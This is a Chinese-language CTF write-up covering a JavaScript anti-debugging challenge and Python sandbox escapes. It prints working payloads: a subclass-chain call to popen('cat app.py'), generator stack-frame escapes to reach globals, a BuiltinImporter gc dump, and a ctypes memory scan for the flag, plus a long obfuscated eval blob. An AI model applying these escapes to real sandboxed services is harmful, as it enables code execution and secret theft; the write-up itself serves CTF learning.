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parse_str()可以进行变量覆盖。

全部流量包:

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菜狗工具#1

python继承链攻击。

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print(().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat app.py').read())

爆率真的高

事前准备

禁用了ctrl+U、F12、鼠标右键等操作,防止我们查看源码,这是JS造成的,我们先关闭浏览器的js,再查看源码或者打开开发者工具,最后重新打开js,刷新页面即可正常查看。

来看看前端源码:

image-20240426151751006

前两段是在JavaScript中为浏览器添加事件监听器。第一个事件监听器是在鼠标右键点击页面时阻止浏览器默认的上下文菜单弹出。第二个事件监听器是在按下键盘任意键时阻止浏览器默认的键盘事件。这两段代码主要的作用是阻止浏览器执行默认操作,可以用来定制特定的页面交互行为。这就是限制的原理。

第三段是一个eval里base64加密后的js源码,是这道题的关键点,既然都在html里,我们就把整个html复制下来,放到本地环境方便调试。

为了方便调试,我们删除其他没用的元素,再删除前两段的限制,只留下关键代码:

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<!DOCTYPE html>
<html>
<head>
<title>爆率真的高</title>
<meta charset="utf-8">
</head>
<body>
<script>
eval(atob("一大堆源码………………"))
</script>
</body>
</html>

开调!

把那一大段base64的js源码解密了,然后把这一坨js格式化了方便查看:image-20240426152709563

大概审完一遍后只在136行找到了0.9999这个数据与题目提示的0.0001相对应。

那么就在html全局搜0.9999,断点打在这里,开始调试:

image-20240426152937941

image-20240426153208920

image-20240426153214574

发现走过_0x4d032d()函数的时候会在控制台打出干扰信息。

image-20240426153639526

发现_0x4d3fb4()函数是不断清空控制台的函数,这个也是我们的干扰。

综上,我们需要删除_0x4d032d()函数和_0x4d3fb4()所有的函数,并把0.9999删除,这样就能让程序只出flag,且不会清屏。我们将解密后的源码,删除这些东西后重新base64加密并放回eval中:

删除这两段:

image-20240426154758220

image-20240426153951104

删除0.9999:

image-20240426154019599

重新base64加密后放到eval里。

再打开浏览器看就有了:

image-20240426180242686

全源码:

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<!DOCTYPE html>
<html>
<head>
<title>爆率真的高</title>
<meta charset="utf-8">
</head>
<body>
<script>
eval(atob("function _0x4d45(_0xd1b659,_0xad76b){var _0x22844d=_0x2a83();return _0x4d45=function(_0x442e70,_0x1c3598){_0x442e70=_0x442e70-(0x14f5+0x1cb7+-0x2fbd);var _0x1fc933=_0x22844d[_0x442e70];if(_0x4d45['RSnkVI']===undefined){var _0x3e5dd9=function(_0x1cd321){var _0x3de614='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x1c3472='',_0x1e03c2='',_0x45b8b1=_0x1c3472+_0x3e5dd9;for(var _0x57bead=-0x43e+-0x4d9*-0x5+-0x1*0x13ff,_0x2c4bf8,_0xc664a7,_0x588e56=0x3*-0x75f+0x1*0x201d+-0x80*0x14;_0xc664a7=_0x1cd321['charAt'](_0x588e56++);~_0xc664a7&&(_0x2c4bf8=_0x57bead%(-0x7a4*-0x4+0x21b7+0x1*-0x4043)?_0x2c4bf8*(0x21e7+-0x452+-0x3*0x9c7)+_0xc664a7:_0xc664a7,_0x57bead++%(-0xd77+0x1ba9+-0xe2e))?_0x1c3472+=_0x45b8b1['charCodeAt'](_0x588e56+(0xfd1+-0x318+0x11*-0xbf))-(0x98f+0x1*0x1c83+-0x1*0x2608)!==0x1c24+0x2100+-0x2*0x1e92?String['fromCharCode'](-0x162*-0x18+0xc2*-0x13+-0x11cb&_0x2c4bf8>>(-(-0x240c+-0x34*-0x12+0x2066)*_0x57bead&0x228c+0x3d4+-0x265a)):_0x57bead:0x7*0x4c3+-0x916*0x4+0x303){_0xc664a7=_0x3de614['indexOf'](_0xc664a7);}for(var _0x109fb3=-0x1554+-0x14b6+0x2a0a,_0x540544=_0x1c3472['length'];_0x109fb3<_0x540544;_0x109fb3++){_0x1e03c2+='%'+('00'+_0x1c3472['charCodeAt'](_0x109fb3)['toString'](0x1*0x2701+0x68*0x4+-0x2891))['slice'](-(-0x1*0x228b+-0x2*-0x11d4+0x11b*-0x1));}return decodeURIComponent(_0x1e03c2);};var _0x4029f8=function(_0xfb34ee,_0x53968b){var _0x588e35=[],_0x52377c=0x2d4*-0x7+0x7bb+0x1*0xc11,_0x5b2fcd,_0x5b55da='';_0xfb34ee=_0x3e5dd9(_0xfb34ee);var _0x1aca7f;for(_0x1aca7f=0x1da1+-0x326*-0x5+-0x2d5f;_0x1aca7f<-0x17a7*0x1+-0x1*-0x182f+-0x1*-0x78;_0x1aca7f++){_0x588e35[_0x1aca7f]=_0x1aca7f;}for(_0x1aca7f=0xd9f+0xeb4+0x3*-0x971;_0x1aca7f<0x134e*-0x1+-0x1*0x1413+0x2861;_0x1aca7f++){_0x52377c=(_0x52377c+_0x588e35[_0x1aca7f]+_0x53968b['charCodeAt'](_0x1aca7f%_0x53968b['length']))%(-0x138e*-0x1+-0x248b+-0x5ff*-0x3),_0x5b2fcd=_0x588e35[_0x1aca7f],_0x588e35[_0x1aca7f]=_0x588e35[_0x52377c],_0x588e35[_0x52377c]=_0x5b2fcd;}_0x1aca7f=-0xc6*-0x6+-0x1*0x9ad+-0x509*-0x1,_0x52377c=0x518+0x53*0x19+-0xd33;for(var _0x10df20=0xd66+0x1beb+0x5e7*-0x7;_0x10df20<_0xfb34ee['length'];_0x10df20++){_0x1aca7f=(_0x1aca7f+(0x848+-0x1*-0x559+-0xda0))%(-0x64c+-0x265*-0x9+-0x59*0x29),_0x52377c=(_0x52377c+_0x588e35[_0x1aca7f])%(0x1*0x1567+0xbd5+0x203c*-0x1),_0x5b2fcd=_0x588e35[_0x1aca7f],_0x588e35[_0x1aca7f]=_0x588e35[_0x52377c],_0x588e35[_0x52377c]=_0x5b2fcd,_0x5b55da+=String['fromCharCode'](_0xfb34ee['charCodeAt'](_0x10df20)^_0x588e35[(_0x588e35[_0x1aca7f]+_0x588e35[_0x52377c])%(-0x26e8+-0x2d9*-0x9+-0x2b*-0x55)]);}return _0x5b55da;};_0x4d45['ZRPnve']=_0x4029f8,_0xd1b659=arguments,_0x4d45['RSnkVI']=!![];}var _0x5d1e1e=_0x22844d[-0x701+0x22b1+-0x10*0x1bb],_0x5e9f1e=_0x442e70+_0x5d1e1e,_0x3c95b6=_0xd1b659[_0x5e9f1e];if(!_0x3c95b6){if(_0x4d45['ttUkzx']===undefined){var _0x5d1923=function(_0x40625e){this['VbNhJA']=_0x40625e,this['WjSFNU']=[0x1*-0x1b69+0x1d*-0xdf+0x383*0xf,0x2*-0xfe+0x15*0x1bd+-0x2285,-0x1*0x1564+0x231a+-0xdb6],this['EfsLmn']=function(){return'newState';},this['NBMjZn']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['qHFyzs']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x5d1923['prototype']['kTMwGR']=function(){var _0x2831ca=new RegExp(this['NBMjZn']+this['qHFyzs']),_0x8e9d26=_0x2831ca['test'](this['EfsLmn']['toString']())?--this['WjSFNU'][0x1d01+0x2*0x20+-0x90*0x34]:--this['WjSFNU'][0xc8*-0x2+-0x2157+0x22e7];return this['qpyuSU'](_0x8e9d26);},_0x5d1923['prototype']['qpyuSU']=function(_0x11b327){if(!Boolean(~_0x11b327))return _0x11b327;return this['MCTlib'](this['VbNhJA']);},_0x5d1923['prototype']['MCTlib']=function(_0x2d84cf){for(var _0xe539f=-0xf1e+0x1*0x1f9b+-0x107d,_0x32f0d5=this['WjSFNU']['length'];_0xe539f<_0x32f0d5;_0xe539f++){this['WjSFNU']['push'](Math['round'](Math['random']())),_0x32f0d5=this['WjSFNU']['length'];}return _0x2d84cf(this['WjSFNU'][0x1818+0xf*0x284+-0x149c*0x3]);},new _0x5d1923(_0x4d45)['kTMwGR'](),_0x4d45['ttUkzx']=!![];}_0x1fc933=_0x4d45['ZRPnve'](_0x1fc933,_0x1c3598),_0xd1b659[_0x5e9f1e]=_0x1fc933;}else _0x1fc933=_0x3c95b6;return _0x1fc933;},_0x4d45(_0xd1b659,_0xad76b);}var _0x42d653=_0x4d45;(function(_0x3de958,_0x2b9778){var _0x5a92ca=_0x4d45,_0x5384a6=_0x3de958();while(!![]){try{var _0x1b55d8=parseInt(_0x5a92ca(0x21d,'&he^'))/(-0xe58+0x2*-0x11ef+0x3237*0x1)+parseInt(_0x5a92ca(0x216,'03Aw'))/(-0x2b3*-0x1+0x14*0x22+-0x559)+parseInt(_0x5a92ca(0x20f,'@l*d'))/(0x2*-0xd22+0x1*-0xe03+0x284a)*(-parseInt(_0x5a92ca(0x1ff,'1Mc0'))/(-0x183f+-0x230+-0x25*-0xb7))+parseInt(_0x5a92ca(0x226,'6xb$'))/(0x1f*-0x1f+0x21be+-0x89*0x38)*(parseInt(_0x5a92ca(0x206,'&Ht['))/(-0x1*0x4b3+-0xd05+-0x8df*-0x2))+parseInt(_0x5a92ca(0x1f0,'i1no'))/(0x2034+-0xdf8+-0x1235)+-parseInt(_0x5a92ca(0x218,'wA8t'))/(-0x1f1f+-0x118c*-0x1+0xd9b)*(parseInt(_0x5a92ca(0x200,'AdAF'))/(0xa90+0xa61*-0x1+-0x26))+parseInt(_0x5a92ca(0x222,'eFU9'))/(0x1bc0+0x29*0x92+-0x221*0x18)*(parseInt(_0x5a92ca(0x1f7,'yszV'))/(-0x2383+-0x1efc+0x428a));if(_0x1b55d8===_0x2b9778)break;else _0x5384a6['push'](_0x5384a6['shift']());}catch(_0x24e2a3){_0x5384a6['push'](_0x5384a6['shift']());}}}(_0x2a83,-0xa6a35+0x1fd9*0x49+0x1*0x83471));function _0x2a83(){var _0xeb8947=['e8k0E3RcSW','W4e1','W5qB','W6/dSq','fXLOc8oWymkeBSkKeSkBAW','W6DvWR3dHablr8kvW4/dH8k+W7y','hmoEW5O7Ct4mD8k4mKi','E8k5va','WQRcV8oAW4BdP8k9krNdUCogB8ohWQlcLutcOvjyW4pdHCoUECoWWOOulZFcRMr6WQDCW7FdSIpdILldHmo2jmk+fmkFWQFdJNFcGGtdMqddMCoUkM1wWOyeC0GfhYRdQX5gW5fzW6FcOLfdl8k4ECooW5z4u8kgWP0zqvPqxIqxWRXeo8oRWQxdHKtcTJddJ8o2i8kSyx5Enbvef8kdbSkGW6xcHuXyzmonWP5srCkYb2fpxSk4W4xdUSoDW6iTwSo8W6OMgwJcHuVcTSopp0BcThRcHZHZW4bbl0ZcMLT0W5/cMLDoWRWdWRlcQCkxWQlcHSoYvCkLWPSXW5TwW6dcIIpcP8o3bt5WCCkKnCoFsCokW6CxWRddVSowW4fHW49HdSkqW5CUWRxdRmkNECoOW7CIWPOAWP9rW55IgmowvmkYW6NdIqibWRNdImooWPpdJSo0iaRcSgxcVCkoEmowW6r7kL1JWQmIWQe8WOldMg7dJxOPeSoAFMFcIXrog8kQW6u3W5xdM8kZW54QfCo1W4GcWRZcVmksACktW59OC8k1qSk6WOmAW6TcW4i2dSo6ymoens1ZBCkUWORdK8oHWQCkW5dcJmkwublcS2BdT0pdQSkIWOBdOCoNE8kBvYFcKafvW6uTWRXCW74+EwfwWRxcNCkOmmoMsCo8zSo3s2lcM3qGWQVdSJFcVComECkKcNhdQCoRWOBdKCo+W5RdTtZdUuPzxqrNW5ddL8oDBcymW4NdR0/dJColWObyg8oVpX7dHG7dVmkUgCondCoWzvxdNNxcUsHiaIhdGCoEW6JcTCkoWPNcOCo6B8kbfI4OxConpSoTuermimo0WPddG1mMW6vvWP7cUbqAp8kNW4yWw8knW5NdJh3dOH3dRHa9W6rzW5S5W4yHW7GmWRqZnSkRngNcO8kaw8krWOnNWQ8gWPWqW4nkWQX+W7yaW4GsW4HeWRvkW54HgG8ur8oWWObFWR7dT8kgaZ5ptCkrafpdPWldOSoch8kBW4DiWOe3rSk/ymogkGFdJCk2BmodWQVcQmoqW6i3ibpcOSkBzmkzhGPqW5j+W5GQiq0gbIKkW6xdUJXbW5v8W4ePW5e/wwnTW5ZdLmoIWOddUs4qW54gbmkKWQ/cGCk0BCoznCklWQBcRvOgW7/dH8oPk8osWOzmW7tdUMNcTCkAFwSyWRtdPmohFKm3W6tcPSkiD0RcPeNdGColjfH6rsGeyZ/dSmkdbIL6W5RcQIlcMqXPorFdPSkTWO/dQ8ovWQvDWRxcNMZcHdPsEMvZb3VdOcxcPtNdI08jWQJdS1XttYzVW45jWQBcJX8vASkHW69JW57cPCocbSk0W7yAsbxdKdHAW4JdVmokmCkfWRdcLCkyWP7dGCoFytFdRt3dNZtcSCogmsmKDupdGmkWq8okWPmQW4VcNJmmDmotjNagW6/cLmkXWP3cNaVcUSoZW4VcIw8dWQiStCkYjW3cQMfHWQ9HpK86W6HBWPqCsNiMW6PPW5ldHmohrmoDWPaVr8krWOxdJx3dQCoyW53dUxnEWOFdIfj8q8oFW6/cQCo5W6GhiXnYWOZcQwORWPmwW6zXW7ffgmoQwKdcOCkppCkIWROJmY8oj8kDW5hcPSosd8kXWPm5WQCvrbRdMZm9WRtcPSolW4ZcJxDQiYpcU8kqgLZcGcPDl8oPq8o/oqvXqCkGWQmdWObdrX8uhSonDmk5jtWDs8oJxCkcz1m7WR3dMKSufZpcT8kRWQivqXrOW7RdIColWO7cPJ/cV8ooW53cO8kMW7iraCo/WOJcL0DfWRhdLhuYvZbWW77cV8kQqmoOW6WtW6OAqIJdG8oaWPZdRY7cOCk+WRJcTIVdHaDwcmkVqZWpbmkKWO/dU0CyxCk4axXHBmoEp13cT8olWPlcUCksau4GW7qvWRbOW7O+WPpcJL9tW6zJrWtcUrqUdupdQIFcI3zUWQhcP0xdVdhcLmkIxCoXCeNcP2LVWOFcPa8AWPjDb8onWR9FmcT6W43dI8kAWQaivCoIxSomv8kezCoCWPjJW6aCW63dLSkhsJmkW4FdJ8kqWRBdG17dMSoDq8oeWQeAu8k8jKBdH8khWQZdTYDOwunJWRBdIMGOyWddVmkDoXdcSmkTW7ZdI2ddU3lcLmkMWP/cK8kPW54uW6ddHCo7W5CcrSk8WPCyW6FdVCotWOBcOSkGF8kwvansW7hdT2ZcUf93WPFdUCkzptVcKKeIf0tcVYGMWPHBrmkSWPtdNmoNWQbKWQeyWPqxWO0cWQlcNCkyW63dL8oOW6JdQfBdQSoRW6b6neFcOhVdMSo9e3fKW5tcQW/cOSo8W47dJCosWOZdLHqAt8klo0FdHSkaWOjeW4fjW4pdI8kiWQ/dKSoyW4pdSSo5WPRdLHVdNWGEW4GnWPHIW7BdRIDGvCoBwtxdImoYWQ7dISoPk13dLqjRWOKDeSkuWPNdSSoXWRe4u31wFX5HoCoDimkIW6bodKldK8olatlcKmo1WP0GW7pdMGjnE8opeWBdO0BdMSolCuGKWPDtW7rPW6TCW61UWPChWO3cTLVdJmotWPmOWOVdRNZdTSkkthtdVYZdKmk/ySkYa8ofWODtWOuaqvNcOmoeW7ZcISkVW78Gc3zsWO0WW7LqW5TyW5KIp1/cVKpcVmoLW6hcOSkPW61aiw3cLGBdJCkErINcNSkQW58SoSo+W6RdL8kvWQnkWRzfWOtdKmk6kCo7W6LhWRJcHgKyW5H1W4hcUmkFm8oTW4nQFCkVW6ONtSkknNvEWP3cGSoaW7ddSmo/W7b5WO4BWQtcPYpdHguahLDryh3cRSoFW7NdJeddGWHyASoPCcNdT8oYWOyzvu3cUsSABwdcPCkSWO9wmSo1EezpW7nsWPVdLSkjuCkrW77cMxhcKmk/bNrphSkAWR4mAM4UBmofW4dcNCkTWRfQtWavW7yxkSkljSkuwHVdTCo4Cu15vt3dUgVcOmkGnSkglNhdLaBdSmoGzCkMFCoZWONcK2lcJdhdS0mGWQlcMmockJ5sgCk9lHRcN8oxbCkpWO5MW6DYW6HTaSoBx2tdPmktn8oDcJhcICklewpcTuhdN8oGi8ogiYfXrmouWOldMvBcGdFcSmk6kmoEWP1oWRvMl2FcTLJcJf0MWOWrWR3cVSoxsCkjWR4uWRWkqSoCWP9Nx8kIu0tcJai9WQ9qWPTji8kmW5TDWOtcJc9WvdX2tCk2W7v2hW7cRse+vmkYW4hdP8o3WRr3tSo9WQ3cK8kmW5TtW43cObRcTCo/W683zCoUbSkGWPhcUmojWPubW7BdGSkZW4BdHehdQSo3q8ovDCkwW5RcNCknW5bWA8k9W4v1W43cPHhdNrWIWOFcSencWRzRiCkcW5tdVmo6WRjtzmo+kcnTW5uHvmkHzSosmmoiW5tdPMqMWR/dL1tcSSkaW4NdTmkckmkwW43dHCoMWOC/nqvDe8oLj8oLWRddOcnVWQq9Bh3cP0GmFmkiW40UW53cHSkRBg/cKmo/FuL7xtpdTSo2WRlcPcuQaWTxWO3dK8oLcSo7WRBcSSkEWQbDW6WfyJNcVmokjeZcS8owW4ddNmkaW6nGWR/dON47jh7dVCojW5OUW7SzW599w8o5WPxdG8ofWQSXW5lcItTemfBcTc3cKeSkW7VcOCokW4zmW7zuW7tcOSo9oCk5p3fevSkltmkWW73dUmo9W5hdMCk3cIBcVqC9WQrSW7ldHuBcKCoZW6dcRL12gdVcVmopW53dMa08EmkGemkSWO0oWRLhd8kYDvzwyg3dGCkJW4uuFSoPu2S/WQ56f8kWqSoQASoenrJdH1mWEMBcJv7dTNKaWPLusKldVCohjSkLEmoQWR7cJCoRWQFdPx3dJSkphmoXWQn3W47dKmoeW4BdOmo4WQLPW6ddP8oJiI/cVW0bs8ouWPddPSoEsN/dG8o4WRffE2dcQ38LW4fSWRnOWQxcU8k8WPzer0RcGmk0cCkTfLHJyW4fzSo5W7dcLXjbW6VcHXzGWO/cTGjiWO8VpCoEWOmpWQvuz8kuWQNcScRdHSotySk7Bmo5WQ3dGSkhpcqiW4ddP00ryd5FWQufW616W7WZuY/cO8otW7ZdJmkMFGbLqJzCW5SsWQJdR0mZFmkLWPn9WR5NlMpcJCkmuSoOWR/cLSkXpb1ViSoiBZO3WO3dMtDvWQW5krPrzuhdOCk1W7VdMmojFCkCWQJdN8oBycTRW5HtcCoIWQTatvrmsMNdIr51r8k5EW/dJCoQi8koW7v2W65nW7tcTmkpnuG8Ds3cNrJdNSkRchW5hG9BBbqwWQzLWOdcVL3dMGddG8k3tmoQta5WW6lcRSkCdfjRWP8kWQFdV8oWWQddMSk0WPxdP8krjCkdxmkkd8olg8kkW4X/WO5SbHldLe5CW7ZcPH8gB8oHzmkycgOyW4ajwCkKW5ChDSk6lCo6W75ZWRLmcCoHzsBcUmkhFSoHWRddKM7cUSkGnCkSW5JdGCk1W5rbWRRcSSoRddCjWP8irLJcP8o2WR05W7tcIdDZW7xdRIJcOwm0WRaoqSkheKukWOqvW50NWQ1rF8omWPRdLSoyW7zqWOtdO8kvgmoDt8oBFGddJc0qoCoIlmo2WPbDW5ldHXJdTxVcSc/dSmo1WR1GxSoMW6FdItSTjWzkW7RdUmkqWQhdGCkoWOKbW6vVWOHxWRtdQNCKWOaenHhdLL0YDutdOSoleHJcNSoKFgSjW5FdVGDme258r8k9uColWRZdJCo6W5ZcKgHWamkBWOPMWO7cLSo4eJVcMIJcP1GVW4NcICkMymoDWOdcO2JcGJxcSmoFW54LsmkppCkiWQ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菜狗工具#2

python栈帧沙箱逃逸

法一:

一直往上找,直到找到app.py所在的栈帧,然后读取全局变量,poc:

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def test():
def f():
yield g.gi_frame.f_back

g = f()
frame = next(g)
print(frame)
print(frame.f_back)
print(frame.f_back.f_back.f_globals)
test()

image-20240609173019525

这里因为源码里对flag重复赋值了一次导致直接查app.py的f_globals得不到flag

需要对其栈帧进行反汇编拿到初次赋值的flag

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out = io.StringIO()     # 内存创建字符串I/O流
dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编
content = out.getvalue() #获取反汇编的结果
out.close()
print(content)

参考官方wp:

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sys = print.__globals__["__builtins__"].__import__('sys')
io = print.__globals__["__builtins__"].__import__('io')
dis = print.__globals__["__builtins__"].__import__('dis')
threading = print.__globals__["__builtins__"].__import__('threading')
print(threading.enumerate()) #获取所有活跃线程
print(threading.main_thread()) #获取主线程
print(threading.main_thread().ident) # 获取主线程标识符
print(sys._current_frames()) # 获取所有线程的堆栈帧对象
print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象


frame = sys._current_frames()[threading.main_thread().ident]

while frame is not None:
out = io.StringIO() # 内存创建字符串I/O流
dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编
content = out.getvalue() #获取反汇编的结果
out.close()
print(content)
frame = frame.f_back

image-20240609174217957

法二:

由于过滤了__import__,这里要自己找一个能加载模块的类

最后选择了_frozen_importlib.BuiltinImporter这个可以导入内置模块的查找器,然后加载gc模块,获取所有变量对象即可。

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print([].__class__.__base__.__subclasses__()[84].load_module('gc').get_objects())

image-20240609174103845

法三:

晨曦✌的思路:

可以利用指针,把内存的内容读出来,但需要定位一个大致的范围,盲目读取浪费时间

先利用栈帧逃逸到全局,这样就能拿__builtins__和被覆盖后的flag的地址(这里可以参考L3HCTF2024 intractable problem)

全局flag的地址用id()读出来即可

接着是利用ctypes模块的指针,用id()flag地址周围的值读一下,用ctypes.cast实现一个从内存读源码的操作

ctypes.cast(obj, type) 此函数类似于 C 的强制转换运算符。 它返回一个 type 的新实例,该实例指向与 obj 相同的内存块。 type 必须为指针类型,而 obj 必须为可以被作为指针来解读的对象。

这里用了 char 指针,读出来的是一个字符串,再加上flag头作为判断,可以很快读出flag

每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)

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def f():
yield g.gi_frame.f_back.f_back

g = f()
frame = [x for x in g][0]
b = frame.f_back.f_globals
flag_id=id(b['flag'])
ctypes = b["__builtins__"].__import__('ctypes')
#print(ctypes)

for i in range(10000):
txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
if b"flag{" in txt:
print(txt)
break

image-20240609174155984

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